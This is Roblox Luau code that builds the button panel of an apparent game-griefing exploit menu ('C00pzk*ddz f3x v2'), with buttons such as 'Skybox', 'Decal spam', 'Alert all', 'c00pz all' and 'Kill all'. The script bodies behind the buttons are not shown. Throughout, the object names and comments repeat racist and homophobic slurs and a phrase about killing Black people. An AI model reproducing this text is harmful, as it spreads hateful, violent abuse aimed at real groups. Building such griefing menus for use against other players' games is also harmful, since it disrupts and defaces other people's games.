
KeylessUniversal

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-- Instances: 114 | Scripts: 55 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.Made by Coikax faggot.
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[Made by Coikax faggot.]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop.
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 6;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 507, 0, 740);
G2L["2"]["Position"] = UDim2.new(0.32311, 0, -0.06923, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2"]["Name"] = [[Im killing niggers im killing niggers please stop.]];
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextLabel
G2L["3"] = Instance.new("TextLabel", G2L["2"]);
G2L["3"]["TextWrapped"] = true;
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["TextSize"] = 14;
G2L["3"]["TextScaled"] = true;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3"]["BackgroundTransparency"] = 1;
G2L["3"]["Size"] = UDim2.new(0, 398, 0, 27);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Text"] = [[C00pzk*ddz f3x v2]];
G2L["3"]["Position"] = UDim2.new(0.10651, 0, 0, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["4"] = Instance.new("TextButton", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 3;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4"]["Text"] = [[Dec*l 1]];
G2L["4"]["Position"] = UDim2.new(0.20513, 0, 0.05032, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["5"] = Instance.new("LocalScript", G2L["4"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["6"] = Instance.new("TextButton", G2L["2"]);
G2L["6"]["TextWrapped"] = true;
G2L["6"]["BorderSizePixel"] = 3;
G2L["6"]["TextSize"] = 14;
G2L["6"]["TextScaled"] = true;
G2L["6"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6"]["Text"] = [[Skyb*x 2]];
G2L["6"]["Position"] = UDim2.new(0.40196, 0, 0.05032, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["7"] = Instance.new("LocalScript", G2L["6"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["8"] = Instance.new("TextButton", G2L["2"]);
G2L["8"]["TextWrapped"] = true;
G2L["8"]["BorderSizePixel"] = 3;
G2L["8"]["TextSize"] = 14;
G2L["8"]["TextScaled"] = true;
G2L["8"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["8"]["Text"] = [[Dec*l 2]];
G2L["8"]["Position"] = UDim2.new(0.60865, 0, 0.05032, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["8"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["TextWrapped"] = true;
G2L["a"]["BorderSizePixel"] = 3;
G2L["a"]["TextSize"] = 14;
G2L["a"]["TextScaled"] = true;
G2L["a"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["a"]["Text"] = [[Fire]];
G2L["a"]["Position"] = UDim2.new(0.80433, 0, 0.05032, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["c"] = Instance.new("TextButton", G2L["2"]);
G2L["c"]["TextWrapped"] = true;
G2L["c"]["BorderSizePixel"] = 3;
G2L["c"]["TextSize"] = 14;
G2L["c"]["TextScaled"] = true;
G2L["c"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["c"]["Text"] = [[Skyb*x 1]];
G2L["c"]["Position"] = UDim2.new(0, 0, 0.05032, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["TextWrapped"] = true;
G2L["e"]["BorderSizePixel"] = 3;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextScaled"] = true;
G2L["e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["e"]["Text"] = [[Sparkles]];
G2L["e"]["Position"] = UDim2.new(0, 0, 0.1161, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["10"] = Instance.new("TextButton", G2L["2"]);
G2L["10"]["TextWrapped"] = true;
G2L["10"]["BorderSizePixel"] = 3;
G2L["10"]["TextSize"] = 14;
G2L["10"]["TextScaled"] = true;
G2L["10"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["10"]["Text"] = [[Rotate parts]];
G2L["10"]["Position"] = UDim2.new(0.20513, 0, 0.1161, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["12"] = Instance.new("TextButton", G2L["2"]);
G2L["12"]["TextWrapped"] = true;
G2L["12"]["BorderSizePixel"] = 3;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextScaled"] = true;
G2L["12"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["12"]["Text"] = [[Colour spam]];
G2L["12"]["Position"] = UDim2.new(0.41223, 0, 0.1161, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["TextWrapped"] = true;
G2L["14"]["BorderSizePixel"] = 3;
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextScaled"] = true;
G2L["14"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["14"]["Text"] = [[Logo skybox]];
G2L["14"]["Position"] = UDim2.new(0.6075, 0, 0.1161, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["16"] = Instance.new("TextButton", G2L["2"]);
G2L["16"]["TextWrapped"] = true;
G2L["16"]["BorderSizePixel"] = 3;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextScaled"] = true;
G2L["16"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["16"]["Text"] = [[Logo decal]];
G2L["16"]["Position"] = UDim2.new(0.80473, 0, 0.1161, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["18"] = Instance.new("TextButton", G2L["2"]);
G2L["18"]["TextWrapped"] = true;
G2L["18"]["BorderSizePixel"] = 3;
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextScaled"] = true;
G2L["18"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["18"]["Text"] = [[World tour skybox]];
G2L["18"]["Position"] = UDim2.new(0, 0, 0.18187, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["TextWrapped"] = true;
G2L["1a"]["BorderSizePixel"] = 3;
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextScaled"] = true;
G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1a"]["Text"] = [[World tour decal]];
G2L["1a"]["Position"] = UDim2.new(0.20513, 0, 0.18187, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["1c"] = Instance.new("TextButton", G2L["2"]);
G2L["1c"]["TextWrapped"] = true;
G2L["1c"]["BorderSizePixel"] = 3;
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["TextScaled"] = true;
G2L["1c"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1c"]["Text"] = [[Rainbow billboard gui]];
G2L["1c"]["Position"] = UDim2.new(0.41223, 0, 0.18187, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["1e"] = Instance.new("TextButton", G2L["2"]);
G2L["1e"]["TextWrapped"] = true;
G2L["1e"]["BorderSizePixel"] = 3;
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["TextScaled"] = true;
G2L["1e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["1e"]["Text"] = [[Billboard Gui]];
G2L["1e"]["Position"] = UDim2.new(0.60947, 0, 0.18187, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["20"] = Instance.new("TextButton", G2L["2"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 3;
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextScaled"] = true;
G2L["20"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["20"]["Text"] = [[Walkspeed]];
G2L["20"]["Position"] = UDim2.new(0.80473, 0, 0.18187, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["20"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["22"] = Instance.new("TextButton", G2L["2"]);
G2L["22"]["TextWrapped"] = true;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["TextSize"] = 14;
G2L["22"]["TextScaled"] = true;
G2L["22"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["22"]["Text"] = [[c00pz all]];
G2L["22"]["Position"] = UDim2.new(0, 0, 0.24653, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["23"] = Instance.new("LocalScript", G2L["22"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["24"] = Instance.new("TextButton", G2L["2"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 3;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextScaled"] = true;
G2L["24"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["24"]["Text"] = [[Message]];
G2L["24"]["Position"] = UDim2.new(0.20513, 0, 0.24542, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["26"] = Instance.new("TextButton", G2L["2"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 3;
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["26"]["Text"] = [[Alert all]];
G2L["26"]["Position"] = UDim2.new(0.41223, 0, 0.24542, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["28"] = Instance.new("TextButton", G2L["2"]);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["BorderSizePixel"] = 3;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextScaled"] = true;
G2L["28"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["28"]["Text"] = [[Notify all]];
G2L["28"]["Position"] = UDim2.new(0.60947, 0, 0.24653, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["2a"] = Instance.new("TextButton", G2L["2"]);
G2L["2a"]["TextWrapped"] = true;
G2L["2a"]["BorderSizePixel"] = 3;
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextScaled"] = true;
G2L["2a"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2a"]["Text"] = [[Hint]];
G2L["2a"]["Position"] = UDim2.new(0.80473, 0, 0.24653, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["2c"] = Instance.new("TextButton", G2L["2"]);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["BorderSizePixel"] = 3;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2c"]["Text"] = [[Realm]];
G2L["2c"]["Position"] = UDim2.new(0, 0, 0.31231, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2c"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["2e"] = Instance.new("TextButton", G2L["2"]);
G2L["2e"]["TextWrapped"] = true;
G2L["2e"]["BorderSizePixel"] = 3;
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["TextScaled"] = true;
G2L["2e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["2e"]["Text"] = [[c00lify]];
G2L["2e"]["Position"] = UDim2.new(0.20513, 0, 0.31231, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["2f"] = Instance.new("LocalScript", G2L["2e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["30"] = Instance.new("TextButton", G2L["2"]);
G2L["30"]["TextWrapped"] = true;
G2L["30"]["BorderSizePixel"] = 3;
G2L["30"]["TextSize"] = 14;
G2L["30"]["TextScaled"] = true;
G2L["30"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["30"]["Text"] = [[Rain Krabby patty]];
G2L["30"]["Position"] = UDim2.new(0.41223, 0, 0.31119, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["31"] = Instance.new("LocalScript", G2L["30"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["32"] = Instance.new("TextButton", G2L["2"]);
G2L["32"]["TextWrapped"] = true;
G2L["32"]["BorderSizePixel"] = 3;
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextScaled"] = true;
G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["32"]["Text"] = [[Particles 1]];
G2L["32"]["Position"] = UDim2.new(0.6075, 0, 0.31119, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["33"] = Instance.new("LocalScript", G2L["32"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["34"] = Instance.new("TextButton", G2L["2"]);
G2L["34"]["TextWrapped"] = true;
G2L["34"]["BorderSizePixel"] = 3;
G2L["34"]["TextSize"] = 14;
G2L["34"]["TextScaled"] = true;
G2L["34"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["34"]["Text"] = [[Particles 2]];
G2L["34"]["Position"] = UDim2.new(0.80276, 0, 0.31119, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["35"] = Instance.new("LocalScript", G2L["34"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["36"] = Instance.new("TextButton", G2L["2"]);
G2L["36"]["TextWrapped"] = true;
G2L["36"]["BorderSizePixel"] = 3;
G2L["36"]["TextSize"] = 14;
G2L["36"]["TextScaled"] = true;
G2L["36"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["36"]["Text"] = [[Mlg particles]];
G2L["36"]["Position"] = UDim2.new(0, 0, 0.37697, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["37"] = Instance.new("LocalScript", G2L["36"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["38"] = Instance.new("TextButton", G2L["2"]);
G2L["38"]["TextWrapped"] = true;
G2L["38"]["BorderSizePixel"] = 3;
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextScaled"] = true;
G2L["38"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["38"]["Text"] = [[Disco]];
G2L["38"]["Position"] = UDim2.new(0.20513, 0, 0.37697, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["39"] = Instance.new("LocalScript", G2L["38"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["3a"] = Instance.new("TextButton", G2L["2"]);
G2L["3a"]["TextWrapped"] = true;
G2L["3a"]["BorderSizePixel"] = 3;
G2L["3a"]["TextSize"] = 14;
G2L["3a"]["TextScaled"] = true;
G2L["3a"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3a"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3a"]["Text"] = [[Kill all]];
G2L["3a"]["Position"] = UDim2.new(0.41223, 0, 0.37697, 0);
